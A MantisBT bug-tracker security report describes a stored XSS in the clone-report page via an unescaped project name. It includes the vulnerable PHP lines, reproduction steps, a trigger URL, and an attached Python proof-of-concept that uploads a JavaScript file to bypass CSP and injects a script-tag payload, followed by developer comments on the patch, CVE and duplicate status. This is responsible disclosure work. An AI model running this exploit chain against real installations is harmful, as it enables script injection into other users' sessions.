View Issue Details

IDProjectCategoryView StatusLast Update
0037014mantisbtsecuritypublic2026-05-10 07:58
Reportersiunam Assigned Todregad  
PriorityhighSeveritymajorReproducibilityalways
Status closedResolutionduplicate 
Product Version2.28.1 
Summary0037014: Stored XSS in Clone-Report Flow (Manager+)
Description

In bug_report_page.php line 285 - 288, if the current project is not the same project of the bug that the user is viewing ($t_changed_project = true), the page will render the project name without HTML entity encoding the value:

<?php if( $t_changed_project ) {
    // [...]
    echo '[' . project_get_field( $t_bug->project_id, 'name' ) . '] ';
} ?>

Therefore, an attacker with access level "Manager" or above can inject arbitrary HTML code into the project name by either creating a new project or updating an existing project name. Note that the Content Security Policy (CSP) can be bypassed, as mentioned in https://mantisbt.org/bugs/view.php?id=37011.

To do so, the victim will need to visit /bug_report_page.php?m_id=<issue_id_in_malicious_project> in order to trigger the XSS payload.

To force the user's current project, the attacker can set the victim's current project ID to 0 (ALL_PROJECTS) in set_project.php, which will then get redirected to /bug_report_page.php?m_id=<issue_id_in_malicious_project>:

/set_project.php?project_id=0&ref=bug_report_page.php?m_id=<issue_id_in_malicious_project>
Steps To Reproduce
  1. Create a new issue if there's no issues across all projects
  2. Get a random valid issue ID
  3. Update a project's name to an HTML injection or an XSS payload as a manager or administrator user
  4. Victim visits /set_project.php?project_id=0&ref=bug_report_page.php?m_id=<issue_id_in_malicious_project> to trigger the payload
Additional Information

A Proof-of-Concept MP4 video and the Python script are attached.

TagsNo tags attached.
Attached Files
poc.py (6,467 bytes)   
import requests
from bs4 import BeautifulSoup
from urllib.parse import urlencode

class Poc:
    def __init__(self, baseUrl):
        self.baseUrl = baseUrl
        self.ISSUE_CATEGORY_GENERAL_ID = 1
        self.ISSUE_PUBLIC_VIEW_STATE = 10
        self.CREATE_NEW_ISSUE_CSRF_TOKEN_NAME = 'bug_report_token'

        self.CREATE_NEW_ISSUE_PAGE_ENDPOINT = f'{self.baseUrl}/bug_report_page.php'
        self.CREATE_NEW_ISSUE_ENDPOINT = f'{self.baseUrl}/bug_report.php'
        self.LOGIN_ENDPOINT = f'{self.baseUrl}/login.php'
        self.SET_PROJECT_ENDPOINT = f'{self.baseUrl}/set_project.php'
        self.REST_GET_MY_USER_INFO_ENDPOINT = f'{self.baseUrl}/api/rest/users/me'
        self.REST_GET_PROJECTS_ENDPOINT = f'{self.baseUrl}/api/rest/projects'
        self.REST_UPDATE_PROJECT_ENDPOINT = f'{self.baseUrl}/api/rest/projects/{{project_id}}'
        self.REST_GET_ISSUES_BY_PROJECT_ID_ENDPOINT = f'{self.baseUrl}/api/rest/issues?project_id={{project_id}}'

        self.ALL_PROJECTS = 0

    def login(self, account):
        data = {
            'username': account['username'],
            'password': account['password']
        }
        response = account['session'].post(self.LOGIN_ENDPOINT, data=data)
        response.raise_for_status()

    def getCurrentUserInfo(self, account):
        response = account['session'].get(self.REST_GET_MY_USER_INFO_ENDPOINT)
        response.raise_for_status()
        return response.json()

    def getCSRFToken(self, endpoint, account, csrfTokenName):
        response = account['session'].get(endpoint)
        response.raise_for_status()

        soup = BeautifulSoup(response.text, 'html.parser')
        csrf_token = soup.find('input', {'name': csrfTokenName})['value']
        return csrf_token

    def uploadJavaScriptFile(self, account, filename, payload):
        files = { 'ufile[0]': (filename, payload, 'application/javascript') }
        data = {
            self.CREATE_NEW_ISSUE_CSRF_TOKEN_NAME: self.getCSRFToken(self.CREATE_NEW_ISSUE_PAGE_ENDPOINT, account, self.CREATE_NEW_ISSUE_CSRF_TOKEN_NAME),
            'project_id': account['user_info']['projects'][0]['id'],
            'category_id': self.ISSUE_CATEGORY_GENERAL_ID,
            'summary': 'CSP Bypass PoC',
            'description': 'CSP Bypass PoC',
            'view_state': self.ISSUE_PUBLIC_VIEW_STATE
        }
        response = account['session'].post(self.CREATE_NEW_ISSUE_ENDPOINT, files=files, data=data)
        response.raise_for_status()

        soup = BeautifulSoup(response.text, 'html.parser')
        fileEndpoint = soup.find('a', attrs={'href': lambda x: x and 'file_download.php' in x})['href']
        return fileEndpoint

    def getProjects(self, account):
        response = account['session'].get(self.REST_GET_PROJECTS_ENDPOINT)
        response.raise_for_status()
        return response.json()['projects']
    
    def getExploitableProject(self, account):
        exploitableProject = None

        projects = self.getProjects(account)
        for project in projects:
            if 'access_level' not in project:
                continue
            if project['access_level']['name'] not in ['manager', 'administrator']:
                continue
            
            exploitableProject = project
            break

        if not exploitableProject:
            raise Exception('No exploitable project found. Please make sure the manager user has at least Manager access level to at least one project.')
        
        return exploitableProject

    def getPublicIssuesByProjectId(self, account, projectId):
        response = account['session'].get(self.REST_GET_ISSUES_BY_PROJECT_ID_ENDPOINT.replace('{{project_id}}', str(projectId)))
        response.raise_for_status()
        return response.json()['issues']

    def updateProjectName(self, account, projectId, newName):
        data = {
            'name': newName,
            "enabled": True
        }
        response = account['session'].patch(self.REST_UPDATE_PROJECT_ENDPOINT.replace('{project_id}', str(projectId)), json=data)
        response.raise_for_status()

    def execute(self, accounts):
        # 1. Log in as a user with at least Manager access level to be able to upload files and update project name
        self.login(accounts['manager'])
        accounts['manager']['user_info'] = self.getCurrentUserInfo(accounts['manager'])
        print(f'[+] Logged in as {accounts["manager"]["username"]}')

        # 2. Find any exploitable project that allows the manager user to update the project name
        exploitableProject = self.getExploitableProject(accounts['manager'])
        print(f'[+] Found exploitable project: {exploitableProject["name"]} | ID: {exploitableProject["id"]}')

        javascriptPayload = '''
#!/usr/bin/env node
alert(origin);
'''.strip()
        # 3. Upload the XSS JavaScript file using the reporter account for CSP `script-src: 'self'` bypass
        XSSFileEndpoint = self.uploadJavaScriptFile(accounts['manager'], 'xss.js', javascriptPayload)
        print(f'[+] Uploaded JavaScript file as {accounts["manager"]["username"]} | File Endpoint: {XSSFileEndpoint}')

        # 4. Get a valid issue ID within the exploitable project to be able to set the project name field in `bug_report_page.php` to the XSS payload
        publicIssue = self.getPublicIssuesByProjectId(accounts['manager'], exploitableProject['id'])[0]

        # 5. Update the project name to the XSS payload with the uploaded JavaScript file URL to trigger the stored XSS vulnerability when any user visits the `bug_report_page.php` page with the vulnerable project selected
        newProjectName = f'<script src="/{XSSFileEndpoint}"></script>'
        self.updateProjectName(accounts['manager'], exploitableProject['id'], newProjectName)
        print(f'[+] Updated project name to the XSS payload: {newProjectName}')

        parameters = {
            'project_id': self.ALL_PROJECTS,
            'ref': f'{self.CREATE_NEW_ISSUE_PAGE_ENDPOINT.split("/")[-1]}?m_id={publicIssue["id"]}'
        }
        url = f'{self.SET_PROJECT_ENDPOINT}?{urlencode(parameters)}'
        print(f'[*] URL to trigger the stored XSS vulnerability: {url}')

if __name__ == '__main__':
    baseUrl = 'http://localhost:8080'
    accounts = {
        'manager': {
            'username': 'manager',
            'password': 'password',
            'session': requests.Session()
        }
    }

    poc = Poc(baseUrl)
    poc.execute(accounts)
poc.py (6,467 bytes)   
poc.mp4 (1,255,642 bytes)   

Relationships

duplicate of 0036986 closeddregad CVE-2026-34463: Stored HTML Injection/XSS in Clone Issue Form via Unescaped Project Name 

Activities

dregad

dregad

2026-04-12 19:56

developer   ~0070988

Advisory: https://github.com/mantisbt/mantisbt/security/advisories/GHSA-rjvr-hf8j-jg2h
CVE request sent

dregad

dregad

2026-04-12 20:07

developer   ~0070989

PR https://github.com/mantisbt/mantisbt-ghsa-rjvr-hf8j-jg2h/pull/1 with patch ready for review

siunam

siunam

2026-04-12 23:52

reporter   ~0070991

PR https://github.com/mantisbt/mantisbt-ghsa-rjvr-hf8j-jg2h/pull/1 with patch ready for review

I confirmed the vulnerability can't be reproduced after the patch. LGTM!

siunam

siunam

2026-04-13 00:52

reporter   ~0070997

The CVSS score is also LGTM.

dregad

dregad

2026-04-13 04:15

developer   ~0071003

Thanks for confirming !

dregad

dregad

2026-04-17 02:45

developer   ~0071012

CVE-2026-40609 assigned

dregad

dregad

2026-04-19 09:17

developer   ~0071031

@siunam, I just realized that this vulnerability is actually a duplicate of 0036986 (CVE-2026-34463), which was previously submitted by another researcher.

I Apologize for the confusion - I have many open security issues in parallel at the moment, and failed to notice that this one had already been reported (and fixed, but not yet released).

Consequently, I'm going to mark this one as duplicate, and CVE-2026-40609 will be marked as REJECTED.

siunam

siunam

2026-04-19 09:21

reporter   ~0071033

Yep, no problem!